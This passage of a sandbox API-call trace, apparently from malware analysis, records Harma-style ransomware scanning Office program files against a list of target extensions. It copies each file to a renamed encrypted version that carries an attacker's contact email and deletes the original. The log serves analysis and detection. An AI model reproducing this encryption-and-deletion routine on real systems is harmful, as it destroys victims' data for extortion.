lpString2=".HXK") returned 1 [0164.969] lstrlenW (lpString=".xls") returned 4 [0164.969] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0164.969] lstrlenW (lpString=".xlsx") returned 5 [0164.969] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0164.969] lstrlenW (lpString=".ppt") returned 4 [0164.969] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0164.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK") returned 69 [0164.969] lstrlenW (lpString=".zip") returned 4 [0164.969] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0164.969] lstrlenW (lpString=".rar") returned 4 [0164.969] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0164.969] lstrlenW (lpString=".bz2") returned 4 [0164.969] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0164.969] lstrlenW (lpString=".7z") returned 3 [0164.969] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0164.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK") returned 69 [0164.969] lstrlenW (lpString=".dbf") returned 4 [0164.969] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0164.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK") returned 69 [0164.969] lstrlenW (lpString=".1cd") returned 4 [0164.969] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0164.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK") returned 69 [0164.969] lstrlenW (lpString=".jpg") returned 4 [0164.969] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0164.969] lstrcmpiW (lpString1=".HXS", lpString2=".harma") returned 1 [0164.969] lstrlenW (lpString="WINPROJ.HXS") returned 11 [0164.969] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.hxs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0164.972] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x363ff1c | out: lpFileSize=0x363ff1c*=1475590) returned 1 [0164.972] CloseHandle (hObject=0x3ac) returned 1 [0164.972] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.hxs")) returned 0x20 [0164.972] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.hxs.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0164.972] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0164.972] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0164.972] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0164.972] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.hxs.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0164.973] GetLastError () returned 0x0 [0164.973] ReadFile (in: hFile=0x3ac, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0xffff0, lpOverlapped=0x0) returned 1 [0165.080] WriteFile (in: hFile=0x378, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0165.430] ReadFile (in: hFile=0x3ac, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x68416, lpOverlapped=0x0) returned 1 [0165.444] WriteFile (in: hFile=0x378, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0x68420, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0x68420, lpOverlapped=0x0) returned 1 [0165.454] ReadFile (in: hFile=0x3ac, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x0, lpOverlapped=0x0) returned 1 [0165.455] WriteFile (in: hFile=0x378, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0xea, lpOverlapped=0x0) returned 1 [0165.455] SetEndOfFile (hFile=0x378) returned 1 [0165.455] CloseHandle (hObject=0x378) returned 1 [0165.455] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0165.455] SetEndOfFile (hFile=0x3ac) returned 1 [0165.693] CloseHandle (hObject=0x3ac) returned 1 [0165.693] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0165.694] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.hxs")) returned 1 [0165.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS") returned 59 [0165.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS") returned 59 [0165.695] lstrlenW (lpString=".doc") returned 4 [0165.695] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0165.695] lstrlenW (lpString=".docx") returned 5 [0165.695] lstrcmpiW (lpString1=".docx", lpString2="J.HXS") returned -1 [0165.695] lstrlenW (lpString=".pdf") returned 4 [0165.695] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0165.695] lstrlenW (lpString=".xls") returned 4 [0165.695] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0165.695] lstrlenW (lpString=".xlsx") returned 5 [0165.695] lstrcmpiW (lpString1=".xlsx", lpString2="J.HXS") returned -1 [0165.695] lstrlenW (lpString=".ppt") returned 4 [0165.695] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0165.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS") returned 59 [0165.695] lstrlenW (lpString=".zip") returned 4 [0165.695] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0165.695] lstrlenW (lpString=".rar") returned 4 [0165.695] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0165.695] lstrlenW (lpString=".bz2") returned 4 [0165.695] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0165.695] lstrlenW (lpString=".7z") returned 3 [0165.695] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0165.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS") returned 59 [0165.695] lstrlenW (lpString=".dbf") returned 4 [0165.695] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0165.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS") returned 59 [0165.695] lstrlenW (lpString=".1cd") returned 4 [0165.695] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0165.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS") returned 59 [0165.696] lstrlenW (lpString=".jpg") returned 4 [0165.696] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0165.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS") returned 59 [0165.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS") returned 59 [0165.696] lstrlenW (lpString=".doc") returned 4 [0165.696] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0165.696] lstrlenW (lpString=".docx") returned 5 [0165.696] lstrcmpiW (lpString1=".docx", lpString2="J.HXS") returned -1 [0165.696] lstrlenW (lpString=".pdf") returned 4 [0165.696] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0165.696] lstrlenW (lpString=".xls") returned 4 [0165.696] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0165.696] lstrlenW (lpString=".xlsx") returned 5 [0165.696] lstrcmpiW (lpString1=".xlsx", lpString2="J.HXS") returned -1 [0165.696] lstrlenW (lpString=".ppt") returned 4 [0165.696] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0165.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS") returned 59 [0165.696] lstrlenW (lpString=".zip") returned 4 [0165.696] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0165.696] lstrlenW (lpString=".rar") returned 4 [0165.696] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0165.696] lstrlenW (lpString=".bz2") returned 4 [0165.696] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0165.696] lstrlenW (lpString=".7z") returned 3 [0165.696] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0165.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS") returned 59 [0165.696] lstrlenW (lpString=".dbf") returned 4 [0165.696] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0165.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS") returned 59 [0165.697] lstrlenW (lpString=".1cd") returned 4 [0165.697] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0165.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.HXS") returned 59 [0165.697] lstrlenW (lpString=".jpg") returned 4 [0165.697] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0165.697] lstrcmpiW (lpString1=".VSL", lpString2=".harma") returned 1 [0165.697] lstrlenW (lpString="XFUNC.VSL") returned 9 [0165.697] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xfunc.vsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0166.030] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x363ff1c | out: lpFileSize=0x363ff1c*=52624) returned 1 [0166.030] CloseHandle (hObject=0x208) returned 1 [0166.030] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xfunc.vsl")) returned 0x20 [0166.030] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xfunc.vsl.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0166.985] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xfunc.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0167.001] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0167.001] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0167.002] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xfunc.vsl.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0167.053] GetLastError () returned 0x0 [0167.053] ReadFile (in: hFile=0x370, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0xcd90, lpOverlapped=0x0) returned 1 [0167.113] WriteFile (in: hFile=0x39c, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0xcda0, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0xcda0, lpOverlapped=0x0) returned 1 [0167.115] ReadFile (in: hFile=0x370, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x0, lpOverlapped=0x0) returned 1 [0167.115] WriteFile (in: hFile=0x39c, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0167.115] SetEndOfFile (hFile=0x39c) returned 1 [0167.116] CloseHandle (hObject=0x39c) returned 1 [0167.116] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0167.116] SetEndOfFile (hFile=0x370) returned 1 [0167.119] CloseHandle (hObject=0x370) returned 1 [0167.119] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0167.119] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\xfunc.vsl")) returned 1 [0167.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL") returned 57 [0167.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL") returned 57 [0167.120] lstrlenW (lpString=".doc") returned 4 [0167.120] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0167.121] lstrlenW (lpString=".docx") returned 5 [0167.121] lstrcmpiW (lpString1=".docx", lpString2="C.VSL") returned -1 [0167.121] lstrlenW (lpString=".pdf") returned 4 [0167.121] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0167.121] lstrlenW (lpString=".xls") returned 4 [0167.121] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0167.121] lstrlenW (lpString=".xlsx") returned 5 [0167.121] lstrcmpiW (lpString1=".xlsx", lpString2="C.VSL") returned -1 [0167.121] lstrlenW (lpString=".ppt") returned 4 [0167.121] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0167.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL") returned 57 [0167.121] lstrlenW (lpString=".zip") returned 4 [0167.121] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0167.121] lstrlenW (lpString=".rar") returned 4 [0167.121] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0167.121] lstrlenW (lpString=".bz2") returned 4 [0167.121] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0167.121] lstrlenW (lpString=".7z") returned 3 [0167.121] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0167.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL") returned 57 [0167.121] lstrlenW (lpString=".dbf") returned 4 [0167.121] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0167.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL") returned 57 [0167.121] lstrlenW (lpString=".1cd") returned 4 [0167.121] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0167.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL") returned 57 [0167.122] lstrlenW (lpString=".jpg") returned 4 [0167.122] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0167.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL") returned 57 [0167.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL") returned 57 [0167.122] lstrlenW (lpString=".doc") returned 4 [0167.122] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0167.122] lstrlenW (lpString=".docx") returned 5 [0167.122] lstrcmpiW (lpString1=".docx", lpString2="C.VSL") returned -1 [0167.122] lstrlenW (lpString=".pdf") returned 4 [0167.122] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0167.122] lstrlenW (lpString=".xls") returned 4 [0167.122] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0167.122] lstrlenW (lpString=".xlsx") returned 5 [0167.122] lstrcmpiW (lpString1=".xlsx", lpString2="C.VSL") returned -1 [0167.122] lstrlenW (lpString=".ppt") returned 4 [0167.122] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0167.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL") returned 57 [0167.122] lstrlenW (lpString=".zip") returned 4 [0167.122] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0167.122] lstrlenW (lpString=".rar") returned 4 [0167.122] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0167.122] lstrlenW (lpString=".bz2") returned 4 [0167.122] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0167.123] lstrlenW (lpString=".7z") returned 3 [0167.123] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0167.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL") returned 57 [0167.123] lstrlenW (lpString=".dbf") returned 4 [0167.123] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0167.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL") returned 57 [0167.123] lstrlenW (lpString=".1cd") returned 4 [0167.123] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0167.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\XFUNC.VSL") returned 57 [0167.123] lstrlenW (lpString=".jpg") returned 4 [0167.123] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0167.123] lstrcmpiW (lpString1=".dll", lpString2=".harma") returned -1 [0167.123] lstrlenW (lpString="otkloadr_x64.dll") returned 16 [0167.123] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\otkloadr_x64.dll" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\otkloadr_x64.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0167.124] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x363ff1c | out: lpFileSize=0x363ff1c*=152392) returned 1 [0167.124] CloseHandle (hObject=0x370) returned 1 [0167.124] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\otkloadr_x64.dll" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\otkloadr_x64.dll")) returned 0x20 [0167.125] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\otkloadr_x64.dll.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\otkloadr_x64.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0167.125] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\otkloadr_x64.dll" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\otkloadr_x64.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0167.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\otkloadr_x64.dll") returned 66 [0167.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\otkloadr_x64.dll") returned 66 [0167.125] lstrlenW (lpString=".doc") returned 4 [0167.125] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0167.125] lstrlenW (lpString=".docx") returned 5 [0167.125] lstrcmpiW (lpString1=".docx", lpString2="4.dll") returned -1 [0167.125] lstrlenW (lpString=".pdf") returned 4 [0167.125] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0167.125] lstrlenW (lpString=".xls") returned 4 [0167.125] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0167.125] lstrlenW (lpString=".xlsx") returned 5 [0167.125] lstrcmpiW (lpString1=".xlsx", lpString2="4.dll") returned -1 [0167.125] lstrlenW (lpString=".ppt") returned 4 [0167.125] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0167.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\otkloadr_x64.dll") returned 66 [0167.126] lstrlenW (lpString=".zip") returned 4 [0167.126] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0167.126] lstrlenW (lpString=".rar") returned 4 [0167.126] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0167.126] lstrlenW (lpString=".bz2") returned 4 [0167.126] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0167.126] lstrlenW (lpString=".7z") returned 3 [0167.126] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0167.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\otkloadr_x64.dll") returned 66 [0167.126] lstrlenW (lpString=".dbf") returned 4 [0167.126] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0167.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\otkloadr_x64.dll") returned 66 [0167.126] lstrlenW (lpString=".1cd") returned 4 [0167.126] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0167.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\otkloadr_x64.dll") returned 66 [0167.126] lstrlenW (lpString=".jpg") returned 4 [0167.126] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0167.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\otkloadr_x64.dll") returned 66 [0167.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\otkloadr_x64.dll") returned 66 [0167.127] lstrlenW (lpString=".doc") returned 4 [0167.127] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0167.127] lstrlenW (lpString=".docx") returned 5 [0167.127] lstrcmpiW (lpString1=".docx", lpString2="4.dll") returned -1 [0167.127] lstrlenW (lpString=".pdf") returned 4 [0167.127] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0167.127] lstrlenW (lpString=".xls") returned 4 [0167.127] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0167.127] lstrlenW (lpString=".xlsx") returned 5 [0167.127] lstrcmpiW (lpString1=".xlsx", lpString2="4.dll") returned -1 [0167.127] lstrlenW (lpString=".ppt") returned 4 [0167.127] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0167.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\otkloadr_x64.dll") returned 66 [0167.127] lstrlenW (lpString=".zip") returned 4 [0167.127] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0167.127] lstrlenW (lpString=".rar") returned 4 [0167.127] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0167.127] lstrlenW (lpString=".bz2") returned 4 [0167.127] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0167.127] lstrlenW (lpString=".7z") returned 3 [0167.127] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0167.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\otkloadr_x64.dll") returned 66 [0167.127] lstrlenW (lpString=".dbf") returned 4 [0167.127] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0167.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\otkloadr_x64.dll") returned 66 [0167.128] lstrlenW (lpString=".1cd") returned 4 [0167.128] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0167.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\otkloadr_x64.dll") returned 66 [0167.128] lstrlenW (lpString=".jpg") returned 4 [0167.128] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0167.128] lstrcmpiW (lpString1=".ECF", lpString2=".harma") returned -1 [0167.128] lstrlenW (lpString="OUTEX.ECF") returned 9 [0167.128] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX.ECF" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\outex.ecf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0167.160] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x363ff1c | out: lpFileSize=0x363ff1c*=1926) returned 1 [0167.160] CloseHandle (hObject=0x364) returned 1 [0167.160] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX.ECF" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\outex.ecf")) returned 0x20 [0167.419] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX.ECF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\outex.ecf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0167.440] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\OUTEX.ECF" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\outex.ecf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0167.440] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0167.440] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0167.440] CreateFileW (lpFileName="C:\\Program 